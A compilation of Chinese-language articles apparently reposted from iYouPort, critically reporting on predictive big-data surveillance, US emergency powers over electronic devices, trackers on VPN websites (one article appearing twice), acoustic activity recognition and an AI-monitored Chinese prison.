- 相关最近的报道（关于该技术有多么的偏见）：《“帮派数据库”是什么？为什么据此就可以直接给无辜的市民定下重罪？》

这是监视摄像头被用于分析人类行为—这一目前最热门老大哥姿势—的开端。中国的步态识别实际上是很老土的东西，这些监视技术不仅可以识别身份，还能识别情绪和心理活动，比如通过对出汗和血液流

动速度变化等指标的读取，觉察出人的心理反应。

在伦敦郊区的卢顿，警察对街上所有摄像头进行了测试，当这些摄像头监测到数据库中录入的50种非法行为中的一种时，就会自动发出警报；而在尼斯，915个智能摄像头对人行道进行密切监控，自动定位那些在人群中表现焦躁不安或是过于僵化的人，并视其为“可疑”。

没错，不仅美国和中国，欧盟也对此上瘾。2011年，欧盟委员会就实施了一项名为 Indect 的计划。他们挑选了不少于十七支科研院队，专门研究大数据如何在城市里发现“隐藏的非正常行为”。很快，如果你在大街上跑步、在人群中逆行、行进过快、当别人坐下的时候站起来、在商店蹲下系鞋带、在机场大厅拍照、甚至戴口罩……都会被电脑判定为可疑人物。

- 更多详见最近的消息：《少数派暴虐》

不仅如此，在公共空间，算法正在不知不觉中通过行为分析摄像头，将新的行为代码强加给人类。如果你不遵循这个代码，那么在电脑的记忆里，你的行为就会被贴上“可疑分子”的标签。

大数据收集的信息量远远超过了现实世界里个人想要得到的所有知识。海量数据使得预测分析成为可能。不仅能预测个人行为，还能预测群体事件—— 我敢说后者是当权者更感兴趣的东西。

大数据渴望着未来能检测出人类的心理偏差、自杀或是犯罪意图，因为它认为，行为在发生之前，信息总会产生预兆、或多或少反复导致的必然性迹象，事前没有这些迹象的行为是极其罕见的。

就像少数派报告中描绘的世界一样，人们更注重意图犯罪，这是人们倾向于采取的所谓反恐方式。借着反恐的旗号，将所有人的观念从“有罪”过渡到了“危险性”，如今这个概念已经充分被推广，并蔓延全球。更多详见《可怕的“连点成线” 和互联网审查—— 监视之恶（四）“反恐”歧途》

比如在法国，最新的法律中就引入了“意图犯罪行为”的概念。现在，只要发现某人在家中有发动袭击的意图，警察就可以把他带上法庭。最近一个邪门的案例是这样的：如果你因任何原因需要一把锤子，英国的反恐警察部队就会认为你是一个潜在的”恐怖分子”。 他们还明确要求群众斗群众：任何看到某人做出可疑事的人—— 比如购买锤子，就立即向执法者报告。详见《恐怖锤子》。中国的菜刀实名制就不需要过多解释了。

如今当权者更加相信，借助大数据的工具，司法可以更加依赖预测学；警察再也不用惩罚犯罪分子，而是惩罚犯罪的意图—— 简单说就是*你想也别想*。

这一诱惑是巨大的。为了保护有关大数据的法律，内政部长 Bernard Cazeneuve 抬出了与国家机器签署的自动识别“恐怖活动”的文件为自己的老大哥上瘾做辩护。刑法是建立在通过证据构成的有罪基础上的，而现在，大数据完全破坏了这一基础。

私法和犯罪科学教授 米蕾耶马蒂对此很担忧，他说，人们是在从大数据中发现潜在可疑目标，而不是从潜在可以目标中找出数据，对现实的恐惧重振了大数据对未来的预测。（法国世界报/“老大哥怀里的民主”，2015年6月）

人类身处怀疑的时代，这是一个被大数据占据的时代，这个时代被认为消除了世界的不稳定。然而，事实却相反。大数据公司纷纷在美国建立了实验室，然而，美国却是全球暴力泛滥排行榜上的前几位国家。仅仅在奥尔良40万居民中，2015年第一季度就有92起被记录的谋杀事件；这个数字相当于拥有200万居民的巴黎地区在2013年全年发生的谋杀数量。新奥尔良凶杀案不断攀升，一直达到了巴黎的40倍。

为了使人们安心，大数据跨国公司建议人们通过它们研发的算法来消除社会不稳定因素。米蕾耶马蒂曾指出这种危害：大数据希望预测行为、发现企图，这已经成为一种失去人性的方式，因为人性的魅力在于其不确定性，如果人类失去了这一特性，将无法负责任何事物。

如今，大数据公司开拓的新市场是出售预测。谷歌是最早起步的，该公司尝试通过搜索引擎发现患流感的家庭。通过实行5亿次计算，谷歌公司的工程师确定了流行病发作地区上网者最常使用的45个搜索关键词；接着，位于山景城的这家大数据公司的分析师开发出了一种算法，能够先于全世界发现感染流行病的家庭所在的地区和城市。

这些数据对医药公司来说尤其珍贵，因为它们可以借此在适当的时候销售药物。谷歌公司同样可以将信息传递到房地产市场，通过处理上网者的搜索行为，搜索引擎能够对下个月的房地产市场波动进行建模，这要比美国全国房地产经纪联合会的数据更快、更丰富。

如今已经将这些信息发送到了房地产信息预测平台 Auction，从而预测产生了直接效益，谷歌仅在这点上就赚了五千万美元。

同样，英国伯明翰大学研究专家宣称，通过我们所有人的智能手机跟踪数据，就可以预测出未来24小时我们都在哪儿，误差可以缩小至20米以内。更多详见一个专利介绍：《Facebook 不仅知道你现在在哪，它还想知道你未来会在哪》

以色列数学家 Kira Radinsky 被称为“互联网时代的女预言家”，她声称借助她自己开发的算法可以预测金融市场的崩溃或即将发生的动荡，准确率超过90%。在日常生活中，她的创业公司 SalesPredict 在各个领域向大公司提供市场预测信息。

大数据公司需要消除日常生活中的不确定性，才能擦亮占卜的水晶球。哲学家 Roger Pol-Droit 说过，为了最终建造一个完全彻底的所谓幸福世界，我们今后的目标是消除偶然性。在想象的天堂里，人们可以控制和掌握偶然性，并完全彻底将其消除……（“哲学不能造就幸福”/2015）

为了不惜一切代价排除偶然性，人们再一次冒险抹去了人类本质上不确定性的那部分。正由于不可预见性，人类的思想才变得丰富，在出乎意料面前，人类思想才能真的富有创造力。

在整个人类历史上，如果没有这些偶然性和意外，大部分的伟大发现就不可能存在。就如你所知道的那样，哥伦布是由于错误计算才导致发现了美洲新大陆；弗莱明也一样，他发现了一种霉菌，把他之前培育的葡萄球菌全部杀死了，后来他把这种霉菌命名为青霉素；物理学家贝克勒尔把铀盐撒到了相片底片上时，发现底片被感光了，就像在阳光照射下一样，从而发现了天然放射性……

人类的发展历史本身就充满了偶然性和不可靠因素。父母的基因编码互相结合所产生的结果本身就是不可预见的；而由0和1决定的数字结果却是全然相反的，它热衷于把最难以置信的偶然性源头完全转化为方程式。

这种偶然性也包括两个人的相逢。“因为爱情并不源于偶然性”—— 这是 Parship 的广告词。Parship 是一款交友应用程序，让人们在此找到情投意合的人。和其他同类软件一样，它会不断提醒你：一个完全符合你期望的人、可以马上约会的人，目前正在距离你几条街之外的某地…

算法甚至能够决定我们与他人的交流联络，这是诸如 Facebook 之类的社交网络的观点。Facebook 通过 EdgeRank 算法计算出人与人之间情投意合的指数。该公司负责人解释说，Facebook 致力于实现“只

和你觉得亲近的公司或个人进行交流。

但有一点要注意，由于只和自己观点相似的人进行交流，所有人的观念正在变得越来越封闭、想法僵化、不再能碰撞出头脑风暴。互联网已不再是*交流和辩论的思想市场*。

大数据向我们出售最小化的时间，获取最大化的效率，这保证了其良好的竞争力。阿尔巴尼亚著名诗人 Ismail Kadare 在谈论他的著作“梦幻宫殿”时说：“长久以来，我梦想建立一个地狱”。在这个想象的国度，无处不在的管理部门夜以继日地搜集居民的梦想，将其挑选、分类、破译，是为了看清这个国度的未来。人类正在把太多的权力拱手相让于大数据，不仅有解读梦想的权力，还有看清未来的权力…… ○

原文

"紧急状态"意味着什么 - iYouPort

你我的灾难现实

“紧急状态”意味着什么？意味着总统有权控制你家一切通电的东西。为什么会这样？

1941年12月那个星期四的珍珠港仍然是美国历史上的一个重要时刻，就在那一天，富兰克林罗斯福总统告诉他的新闻秘书 Stephen T. Early，政府应该接管全国广播网络。

早些时候通知联邦通信委员会（FCC）主席兼新成立的国防通信委员会（DCB）主任 James L. Fly 被点名了，罗斯福曾亲自指示 Fly 满足政府控制全国广播网络的需要。DCB 是为这样的国家紧急情况而创建的：它的任务是协调战争或其他国家紧急状态下的所有通信（军事和民用全包括）。美国联邦通信委员会和 DCB 都获得了1934年“通信法”第606条的授权，该法明确规定总统在这种情况下有权完全控制电子传输。

特别是第606（c）赋予了总统完全的控制权，以暂停和征用该国的整个电子监管系统。“在总统宣布存在战争或战争威胁、公共危险或灾难或其他“国家紧急状态”时，总统就可以在他认为合适的任何时间内暂停或修改控制在美国管辖范围的任何电台或设备的规则和条例”，该法律说，总统有能力关闭任何无线电台—也就是“任何能够发射10 kilocycles 至100,000 megacycles 之间的电磁辐射的设备”—并且可以征用其设备，“仅仅向业主赔偿即可。“

Fly 完全可以完成这个任务，因为他一直致力于广播宣传计划；然而 Fly 是一个公民自由主义者，他强烈反对白宫的命令。为了推动他自己的计划，他最终说服了政府的同事 Jack Benny, Bob Hope 和其他人。

但是1941年12月11日早期和 Fly 之间的关系在美国媒体监管的历史上仍然很重要。第606条今天仍然有效，因为1996年的“电信法”纳入了1934年“原始通信法”的实质部分。

当特朗普又宣布了另一次国家紧急状态时，重新考虑第606条是很重要的。大多数人都不知道这些紧急状态声明在允许政府对我们的生活全面控制方面拥有如此广泛的权力。在宣布国家紧急状态后，特朗普就可以指挥美国的每一个电视和广播电台，并要求它按照他的指示行事。

那太糟了。但是：还有更糟的！

法律允许白宫接管任何发射射频传输的设备。在2019年，这就是意味着从植入式心脏起搏器装置到吹头发的吹风机的一切。包括你的电动运动器材，任何智能设备（也包括数字洗衣机、电冰箱等）和你的笔记本电脑—基本上你家里的所有通电的东西都包括在内。

我们倾向于将美国联邦通信委员会视为电视广播领域的警察：该部门负责发放许可证、对发布违规内容的站点进行罚款，以及以其他方式管理广播和电视公司。但是，实际上它的任务范围更广。

FCC 管理着所有可以传输电力的设备。即使您家中的灯开关也受到 FCC 的监管，因为它们在运行过程中会传输微量电力。

家用电器通常属于两种轻度管制类别中的一种: “incidental radiators” 或者 “unintentional radiators.”。您的手机、广播电台的传输塔，甚至您的蓝牙设备，都属于更加规范的类别：“intentional radiators”。

但就总统的紧急状态权力而言，这些子类别基本上毫无意义。白宫在国家紧急状态下对电力进行大规模控制的权力仍然存在，并且已经由国会通过的立法授予了总统。

所以请记住：只要他愿意，特朗普或任何其他总统都可以控制您的收音机、电视、笔记本电脑、甚至是电灯开关和微波炉。再一次，显而易见：不了解历史是很可怕的。

In a State of Emergency, the President Can Control Your Phone, Your TV, and Even Your Light Switches. Under a little-known regulation that dates back to the 1930s, the president has legal power over electronic transmissions.

原文

90%的VPN网站在跟踪记录你的一举一动 - iyouport

你我的灾难现实

【2020年8月19日存档】欢迎来到监视资本主义的世界 …… 这肯定不是个好消息，希望能帮助您提高安全意识

由于发生了COVID-19危机，越来越多的人不得不在家工作，于是网络安全问题成为了疫情期间的重要议题。

然而，最新的研究发现，⚠ 绝大多数顶级VPN网站正在记录其用户的一举一动，并可能泄露其数据。

VPNpro 分析了114个 VPN，结果发现其中102个网站具有跟踪器，其中26个具有10个或更多跟踪器。这些跟踪器中有许多涉及出售给第三方，它们以不尊重用户隐私权而闻名。

VPNpro 已经确定了34种对隐私构成威胁的跟踪器，其中包括 Taboola，Zendesk，Adroll，BlueKai 和 OpenX。

⚠ 更令人担忧的是，将近四分之一的**VPN**网站都在使用会话重播脚本（类似于屏幕录像）来记录用户的在线活动。

以下是详细报告。

当您考虑网络安全工具时，可能会直接想到防病毒程序和VPN。使用VPN的原因是它们能够绕过地理位置限制，并可能为用户提供最大程度的安全性和隐私性。至少人们是这么认为的。

因此，当你那些发现自己最喜欢的VPN实际上根本不尊重其用户的隐私时，将是一个巨大的错愕。

- 《警惕恶意 VPN》
- 《什么时候你需要VPN？》
- 《如何验证您的 VPN 连接是否安全？》

- 《如何检查您的VPN连接是否实际加密》

我们的研究表明，VPN网站与其他流行网站非常相似，有时甚至比其他流行网站更糟糕。

在我们分析的114个VPN中，有102个网站上装有跟踪器，其中26个网站上有10个或更多跟踪器。这些跟踪器中有很多涉及第三方。

更糟糕的是，他们使用会话重播脚本：平均每**4**个**VPN**网站中就有近**1**个在录制有关每个用户如何浏览其网站、他们单击什么、搜索什么、输入什么等等一切动作的视频。

幸运的是，情况还不是很糟糕：有13个网站上完全没有跟踪器，而48个网站上有4个或更少的跟踪器。

请记住，制作这些跟踪器是为了使它们可以窥探您的在线行为，并随时随地跟踪您。即便只有一个跟踪器也意味着没有任何隐私性和匿名性。

会话重播脚本的危险

「图」

每当您访问使用会话重播脚本的网站时，都可能会本记录您的一举一动。会话重播脚本允许网站所有者、营销人员、销售人员等查看用户如何与其网站进行交互。

我们发现，有26个VPN网站在其站点上使用会话重放脚本，其中一个是 **Avast SecureLine VPN**，它甚至使用了**3**种不同的会话重播工具来记录用户。

⚠ 从本质上讲，这些工具可以记录您访问其网站时的所有活动，包括您单击的内容，搜索的内容，在任何表格中输入的内容 —— 甚至在单击“提交”之前输入的内容，以及其他任何内容。

这些会话重播是您在线行为的视频记录。以下是使用一种领先的会话重播工具 Hotjar 演示监视者可以看到什么的录像：

如果您觉得这还不够令人毛骨悚然，那么普林斯顿的安全研究人员所发现的内容可能更刺激：

“第三方重播脚本收集页面内容可能会导致敏感信息 —— 例如病历、

信用卡详细信息、以及页面上显示的其他个人信息 —— 作为记录的一部分泄漏给第三方…… 这可能会使用户遭受身份盗用、在线欺诈、和其他不良行为的侵害。在结帐或注册过程中收集用户输入同样如此。”

尽管某些会话重播工具可以编辑（隐藏）用户在被记录时输入的信息，但是并非所有工具都能做到这一点。

⚠ 一些密码可以清楚地被看到，并且很多敏感数据也可能泄漏。

研究人员创建了一个表格，其中显示了他们的发现，实心圆圈表示数据已被排除（已编辑），半实心圆圈表示等效的掩蔽，而空圆圈表示数据已直接发送：

研究人员发现，包括 Yandex，Hotjar 和 Smartlook 在内的一些公司都干这种事。由于HTTP页面未加密，这为**MITM**（中间人）攻击提供了很大的机会，黑客可以轻松地窃取所有记录数据。

跟踪器和侵犯隐私权

「图」

但是，跟踪器存在的问题不仅仅是会话重播脚本的漏洞和缺乏隐私这么直观。

跟踪器有很多不同的类型，具有不同程度的杀伤力。一些跟踪器将收集用户数据，但不会共享匿名/汇总数据以外的任何内容，而另一些跟踪器则不清楚它们共享的内容。有些甚至是良性的，因为它们收集数据但共享最少，或者对于网站正常运行是必不可少的。

但是，有些跟踪器很糟糕，会与第三方共享可识别性个人身份信息或匿名数据。

我们发现了34种对您的隐私非常不利的跟踪器。这些跟踪器包括 Taboola，Zendesk，Adroll，BlueKa i和 OpenX。

OpenX 的大量数据收集

「图」

以OpenX为例。根据其隐私政策，OpenX 宣称自己是 “程序化广告”

的全球领导者，它可能会收集您的年龄、性别、婚姻状况、电话信息、IP地址、甚至您的确切GPS位置：

他们甚至还可以出于各种目的与他人共享所有数据。

过去 OpenX 就曾经多次被指控侵犯消费者的隐私。然而这孙子一直活跃。

BlueKai 的声誉不佳

「图」

OpenX 可不是特例。这些风险较大的跟踪器大多数都犯有使用相同业务技术的罪行。

以 BlueKai 为例，该公司于2014年被 Oracle 收购。BlueKai 屡次被提及因为其潜在的侵犯隐私行为。它甚至在隐私国际组织的GDPR投诉中被点名。

在研究 BlueKai 和其他数据经纪人的学术报告中，研究人员提到了数据经纪人在用户隐私方面的三个主要问题：# 数据存储的安全性不足

- 跟踪者将数据出售给其他实体
- 用户数据被意外暴露

1. 使用扩展程序和工具（例如 Ghostery），可以帮助阻止许多此类跟踪器和会话重播脚本

- 使用默认的隐私浏览器，例如 Brave
- 严重限制您在这些网站上的操作，或者完全避免使用它们。

1. 12VPN—0

- AirVPN—0
- ConfirmedVPN—0
- CryptoStorm—0
- Disconnect VPN—0
- DotVPN—0
- Mullvad—0
- ProtonVPN—0
- Psiphon—0
- Thunder VPN—0

- VIP72 VPN—0
- VPN.ac—0
- Zorro VPN—0
- Celo VPN—1
- Hideman VPN—1
- IVPN—1
- Seed4.Me—1
- VPNReactor—1
- Windscribe—1
- ZenVPN—1

那么，最受欢迎的VPN怎么样呢？

「图」

如果您在这里没有找到自己喜欢的VPN提供商（无论是 NordVPN，ExpressVPN 或者 PIA），那可能是因为它们既没有最多或风险最高的跟踪器，也不是最少的跟踪器。

以下是20个最受欢迎的VPN提供商的列表，以及它们在总跟踪器、风险最高的跟踪器、和会话重播脚本方面的表现：

最后啰嗦一句废话，给那些尚且不熟悉VPN的中国用户：VPN不等于“翻墙”。我们在 “安全工具箱” 中推荐的VPN是基于安全防御方面的考虑，而非翻墙。

注意安全！这是最基本的。〇

Top VPNs are recording users and potentially leaking their data when they visit their website

原文

90%的VPN网站在跟踪记录你的一举一动 - iYouPort

你我的灾难现实

欢迎来到监视资本主义的世界 ..... 这肯定不是个好消息，希望能帮助您提高安全意识

由于发生了COVID-19危机，越来越多的人不得不在家工作，于是网络安全问题成为了疫情期间的重要议题。

然而，最新的研究发现，⚠ 绝大多数顶级VPN网站正在记录其用户的一举一动，并可能泄露其数据。

VPNpro 分析了114个 VPN，结果发现其中102个网站具有跟踪器，其中26个具有10个或更多跟踪器。这些跟踪器中有许多涉及出售给第三方，它们以不尊重用户隐私权而闻名。

VPNpro 已经确定了34种对隐私构成威胁的跟踪器，其中包括 Taboola，Zendesk，Adroll，BlueKai 和 OpenX。

⚠ 更令人担忧的是，将近四分之一的**VPN**网站都在使用会话重播脚本（类似于屏幕录像）来记录用户的在线活动。

以下是详细报告。

「图」

「图」

当您考虑网络安全工具时，可能会直接想到防病毒程序和VPN。使用VPN的原因是它们能够绕过地理位置限制，并可能为用户提供最大程度的安全性和隐私性。至少人们是这么认为的。

因此，当你那些发现自己最喜欢的VPN实际上根本不尊重其用户的隐私时，将是一个巨大的错愕。

- 《警惕恶意 VPN》
- 《什么时候你需要VPN？》
- 《如何验证您的 VPN 连接是否安全？》
- 《如何检查您的VPN连接是否实际加密》

我们的研究表明，VPN网站与其他流行网站非常相似，有时甚至比其他流行网站更糟糕。

在我们分析的114个VPN中，有102个网站上装有跟踪器，其中26个网站上有10个或更多跟踪器。这些跟踪器中有很多涉及第三方。

更糟糕的是，他们使用会话重播脚本：平均每**4**个**VPN**网站中就有近**1**个在录制有关每个用户如何浏览其网站、他们单击什么、搜索什么、输入什么等等一切动作的视频。

幸运的是，情况还不是很糟糕：有13个网站上完全没有跟踪器，而48个网站上有4个或更少的跟踪器。

请记住，制作这些跟踪器是为了使它们可以窥探您的在线行为，并随时随地跟踪您。即便只有一个跟踪器也意味着没有任何隐私性和匿名性。

会话重播脚本的危险

每当您访问使用会话重播脚本的网站时，都可能会本记录您的一举一动。会话重播脚本允许网站所有者、营销人员、销售人员等查看用户如何与其网站进行交互。

我们发现，有26个VPN网站在其站点上使用会话重放脚本，其中一个是 **Avast SecureLine VPN**，它甚至使用了**3**种不同的会话重播工具来记录用户。

⚠ 从本质上讲，这些工具可以记录您访问其网站时的所有活动，包括您单击的内容，搜索的内容，在任何表格中输入的内容 —— 甚至在单击“提交”之前输入的内容，以及其他任何内容。

这些会话重播是您在线行为的视频记录。以下是使用一种领先的会话重播工具 Hotjar 演示监视者可以看到什么的录像：

如果您觉得这还不够令人毛骨悚然，那么普林斯顿的安全研究人员所发现的内容可能更刺激：

“第三方重播脚本收集页面内容可能会导致敏感信息 —— 例如病历、信用卡详细信息、以及页面上显示的其他个人信息 —— 作为记录的一部分泄漏给第三方…… 这可能会使用户遭受身份盗用、在线欺诈、和其他不良行为的侵害。在结帐或注册过程中收集用户输入同样如此。”

尽管某些会话重播工具可以编辑（隐藏）用户在被记录时输入的信息，但是并非所有工具都能做到这一点。

⚠ 一些密码可以清楚地被看到，并且很多敏感数据也可能泄漏。

研究人员创建了一个表格，其中显示了他们的发现，实心圆圈表示数据已被排除（已编辑），半实心圆圈表示等效的掩蔽，而空圆圈表示数据已直接发送：

「图」

「图」

研究人员发现，包括 Yandex，Hotjar 和 Smartlook 在内的一些公司都干这种事。由于HTTP页面未加密，这为**MITM**（中间人）攻击提供了很大的机会，黑客可以轻松地窃取所有记录数据。

「图」

「图」

跟踪器和侵犯隐私权

但是，跟踪器存在的问题不仅仅是会话重播脚本的漏洞和缺乏隐私这么直观。

跟踪器有很多不同的类型，具有不同程度的杀伤力。一些跟踪器将收集用户数据，但不会共享匿名/汇总数据以外的任何内容，而另一些跟踪器则不清楚它们共享的内容。有些甚至是良性的，因为它们收集数据但共享最少，或者对于网站正常运行是必不可少的。

但是，有些跟踪器很糟糕，会与第三方共享可识别性个人身份信息或匿名数据。

我们发现了34种对您的隐私非常不利的跟踪器。这些跟踪器包括 Taboola，Zendesk，Adroll，BlueKa i和 OpenX。

OpenX 的大量数据收集

以OpenX为例。根据其隐私政策，OpenX 宣称自己是“程序化广告”的全球领导者，它可能会收集您的年龄、性别、婚姻状况、电话信息、IP地址、甚至您的确切GPS位置：

他们甚至还可以出于各种目的与他人共享所有数据。

过去 OpenX 就曾经多次被指控侵犯消费者的隐私。然而这孙子一直活跃。

BlueKai 的声誉不佳

OpenX 可不是特例。这些风险较大的跟踪器大多数都犯有使用相同业务技术的罪行。

以 BlueKai 为例，该公司于2014年被 Oracle 收购。BlueKai 屡次被提及因为其潜在的侵犯隐私行为。它甚至在隐私国际组织的GDPR投诉中被点名。

在研究 BlueKai 和其他数据经纪人的学术报告中，研究人员提到了数据经纪人在用户隐私方面的三个主要问题：#数据存储的安全性不足

- 跟踪者将数据出售给其他实体
- 用户数据被意外暴露

1. 使用扩展程序和工具（例如 Ghostery），可以帮助阻止许多此类跟踪器和会话重播脚本

- 使用默认的隐私浏览器，例如 Brave
- 严重限制您在这些网站上的操作，或者完全避免使用它们。

1. 12VPN—0

- AirVPN—0
- ConfirmedVPN—0
- CryptoStorm—0
- Disconnect VPN—0
- DotVPN—0
- Mullvad—0
- ProtonVPN—0

- Psiphon—0
- Thunder VPN—0
- VIP72 VPN—0
- VPN.ac—0
- Zorro VPN—0
- Celo VPN—1
- Hideman VPN—1
- IVPN—1
- Seed4.Me—1
- VPNReactor—1
- Windscribe—1
- ZenVPN—1

那么，最受欢迎的VPN怎么样呢？

如果您在这里没有找到自己喜欢的VPN提供商（无论是 NordVPN，ExpressVPN 或者 PIA），那可能是因为它们既没有最多或风险最高的跟踪器，也不是最少的跟踪器。

以下是20个最受欢迎的VPN提供商的列表，以及它们在总跟踪器、风险最高的跟踪器、和会话重播脚本方面的表现：

「图」

「图」

最后啰嗦一句废话，给那些尚且不熟悉VPN的中国用户：VPN不等于“翻墙”。我们在 “安全工具箱” 中推荐的VPN是基于安全防御方面的考虑，而非翻墙。

注意安全！这是最基本的。〇

Top VPNs are recording users and potentially leaking their data when they visit their website

原文

AI 使用回声定位来识别你正在做什么 - iYouPort

你我的灾难现实无处不在，无处可逃-所谓的“智能”是什么

老大哥很快就不需要watching了；仅仅靠听就能随时知道你在干什么……

「图」

「图」

Guoxinhua 想要教电脑识别回声。

他和他的同事已经制造了一台大约相当于笔记本电脑尺寸的设备，它发出的声音频率比短笛能支持的最尖锐音高10倍。人耳无法听到这样的声音。

郭的团队将该设备对准一个人并发射这种声音，同时使用其数百个嵌入式麦克风来监听回声。然后，他的团队采用人工智能技术，尝试从单独的反射声中破译人的行为。

该技术仍处于起步阶段，但他们已经取得了一些明显的初步成果。

位于中国的武汉理工大学，郭的团队已经对四名不同的大学生进行了麦克风阵列测试，发现他们可以确定这个人是坐着、还是站着，走路还是摔倒，并且完全准确 —— 他们在论文中这样写道。

虽然他们仍然需要测试该技术是否适用于更多人，并且它是否可以识别更广泛的行为，但是目前为止的示范成功暗示了一种可以用于监视人类行为的新技术正在出现。

郭的设备属于一种被称为人类活动识别的技术，其中计算机分析信号以弄清楚人们在做什么。这种技术本身不奇怪，就如智能手表上的计步器将加速度计和陀螺仪数据转换为佩戴者的步数。

现在，像郭这样的研究人员正在设计能够识别更复杂的人类行为的系统，借助更复杂的人工智能技术。

不止他一家在研究这种用于监视人类行为的东西。其中有些人使用声音数据，比如郭；其他人正在开发更好的图像识别算法。

慕尼黑路德维希马克西米利安大学的计算机科学家 Albrecht Schmidt 说，一些研究人员甚至已经证明了他们可以通过分析环境Wi-Fi信号来识别简单的人体姿势。“当人体通过这些信号时，他们就会改变这些信号，例如，Wi-Fi信号的波动可以揭示人在拍手、打电话或下蹲……

图：声音监视

郭的团队设计了一种算法，将声音信号与特定的人体姿势联系起来。

在设备捕获回声之后，算法首先去除一些环境噪声，然后分析数据的模式。例如，反射声中的频率混合可以提供关于房间内发生了什么的提示。

该算法利用这些差异来确定人的姿势。郭说，如果你使用更多的麦克风来获取回声，这种算法可以更准确地工作。

各种姿势之间的音调差异会更加明显。郭的当前阵列使用了256个麦克风，体积庞大，可能因为太大而无法大规模生产，因此他们现在正试图在不影响精度的情况下减少麦克风的数量。

但公司尚未将这些新的行为检测技术发展为商业产品。Schmidt 说，目前还不清楚它们将被用于干什么。

郭对此有一些想法。

他认为一种可能性是将其纳入未来类似 Amazon Echo 的设备中⚠，这样他们就可以通过听来监视家里的人的一举一动。

郭还认为它可以用作图像或视频识别软件的替代品。他说，⚠声音可以识别相机无法识别的环境中的物体，例如在黑暗的房间或烟雾缭绕的地方。

郭还认为，基于声音的监控可以比视频监控更好地“保护个人隐私”，这可能使人们更愿意在家中接受这种技术。

但这是胡扯。

位于纽约的研究机构 Data＆Society 的技术伦理学家 Jake Metcalf 认为，声音监控可以很容易地与视频监控结合，以创建一种更高级的监控形式。

这是因为尽管研究人员可能会考虑到如何开发该技术，但他们无法控制人们最终如何使用该技术。

Metcalf 说，健全的监控可能会最终挽救某人的年迈父母的生命，但也可能被国家利用来寻找并迫害正在祈祷的穆斯林，他指的是中国正在对少数族裔维吾尔族人进行的监视。

黑客也可以重新调整它来监视他人的性生活。“这些技术只是在抢着被重新利用，这就是他们的全部观点。它们只是想让自己看起来有价值。”

不过郭的技术还没有完全实现 —— 他的团队必须先进一步开发这种设备，然后才能将其部署到任何产品中。

他们需要缩减硬件，他们计划运行更多测试以确保算法适用于更多人和更多场景。例如，⚠他们将从更多不同的人口中收集更多的行为数据，郭说。

随着这种新的监控手段变得越来越聪明，也许有人会弄清楚如何使用它。

THIS AI USES ECHOLOCATION TO IDENTIFY WHAT YOU’RE DOING

原文

AI警卫：机器人专制 [video] - iYouPort

中国-半壁高堡奇人你我的灾难现实关于中国社会

通过采用人工智能管理囚犯，中国朝着机器专制迈出了重要的一步。他们是怎么做的？

「图」

「图」

一个高度安全性的中国监狱已经在每个牢房、每个角落都养了一个守卫，他们不睡觉、不吃饭、不眨眼。因为他们是机器。

Yancheng 监狱，由司法部直接管理的一个设施，通过采用人工智能管理囚犯，朝着机器人专制迈出了重要的一步。

摄像机网络将能够监控囚犯的每一个动作，并标记任何被认为是异常的或令人类卫兵担心的事物。

一些专家甚至认为该系统将使关押其中的人无法逃脱，因为即使囚犯能够贿赂警卫，他们也无法阻止系统触发警报。

但是，尽管监狱对其囚犯进行了全天候的不断监视，但由于其内部相对舒适的条件，该监狱之前被描述为“豪华监狱”。

这里有一些备受瞩目的被关押者，比如谷开来、芮成刚、以及铁道部副总工程师张曙光、前国家足协副主席南勇。

该监狱还拥有数目不详的外国人，许多国家的外交官已被允许访问以检查条件。

但在过去的一年里，该监狱的管理层一直面临着来自高层的压力，以改善其运营。

12月，一个党派纪检小组警告说，该监狱没有正确理解“它在新时代的政治性”，并警告说，一些警卫“经常违反规则”。

目前尚不清楚哪些具体规则被违反了，但警告称人类警卫的政治忠诚和职业道德受到质疑。

监狱已经安装了人工智能网络，与人类卫兵不同，它应该可以完全“冷静地”对待囚犯。

经过数月的密集建设，河北燕郊40公顷设施的监控系统升级工作即将完成，该项目涉及的几个消息来源于向南华早报确认。

新的“智能监狱”系统涉及一个监控摄像头网络和隐藏式传感器网络，就像其中一个消息来源所说的那样，覆盖范围像“神经元纤维”。

该监视网络持续收集数据并将数据流传输到“大脑”，这是一台快速运转的人工智能计算机，能够全天候识别、跟踪和监控每个犯人。

在每天结束时，系统使用不同的 **AI** 功能（如面部识别和运动分析）为每个囚犯生成一份综合报告，包括行为分析。

大多数情况下这些报告都会被存档，但如果检测到任何异常，机器将标记警报。

“例如，”该项目代表说，“如果发现一名囚犯在一个房间内踱步了一段时间，机器可能会认为这种现象是可疑的，并建议一名人类警员进行近距离检查”。

他解释说，这种行为可能表明囚犯焦虑或兴奋或有可能以意想不到的方式行事。

据中国媒体称，Yancheng 监狱去年为止有1600多名囚犯被关押。近年来，由于习近平发起的大规模反腐运动，许多高级官员最终进了监狱，这一数字一直在迅速增加。

该人工智能监视系统由天津大学等众多公共研究机构和位于天津的全球最大的监控技术公司之一 **Tiandy** 共同开发。Tiandy 的一名员工 Meng 声称，无论囚犯人数有多大，该系统都会知道每个人在哪里以及他或她在做什么—— 并且不需要人类看守监视器。

这部分归功于先进的面部识别技术，该技术能够同时处理大量的监视目标。

“最先进的技术允许每台摄像机同时跟踪多达**200**个面孔，”他说。所以囚犯可能会出现在人群中、走廊里、忙碌的食堂、运动会、甚至大

规模的斗殴现场，但他们永远无法溜走。

即使他们能够贿赂监狱看守以帮助他们逃脱，但 AI 系统仍会检测到这种情况，并引发警报。

简单说就是，连狱警一起监视了。

Meng 说，**Tiandy** 正在与一些南美国家进行谈判，将这项技术引入有暴力和安全漏洞历史的任何监狱，但由于美国政府禁止使用中国的技术，他们进入美国市场的机会有限。

关于 Tiandy，这里有一篇早前的报道：在中国，有一条迅速的《致富捷径》

但是，每周七天，每天24小时使用高科技监测囚犯，引发了深刻的道德问题。

联合国人权事务规则规定，囚犯“应该受到尊重以他们固有的尊严和作为人类的价值”。

在北京师范大学极端环境中研究人类行为的生理学教授表示，摄像机和人工智能“肯定会影响”囚犯的生活和精神状态。

他还认为，当局必须考虑用机器监视人类可能会以意想不到的方式适得其反。

例如，一些知情和聪明的囚犯可能会学习到如何欺骗人工智能的新方法，并利用机器的弱点来实现其目的。

“这项技术不应取代人类，”他说。

但参与该项目的天津大学电气工程助理教授表示，囚犯无法击败人工智能。即使有人设法说服监视机器他们没有任何不妥之处，他们也无法离开监狱。

该系统不仅与摄像机相连，而且与光纤等传感器相连，能够检测和定位多种类型的地面运动。

“你可能会欺骗相机。你可能会欺骗传感器。但你无法同时欺骗两者，“他说。

越狱在中国比较少见，没有官方数字，但确实不时发生。

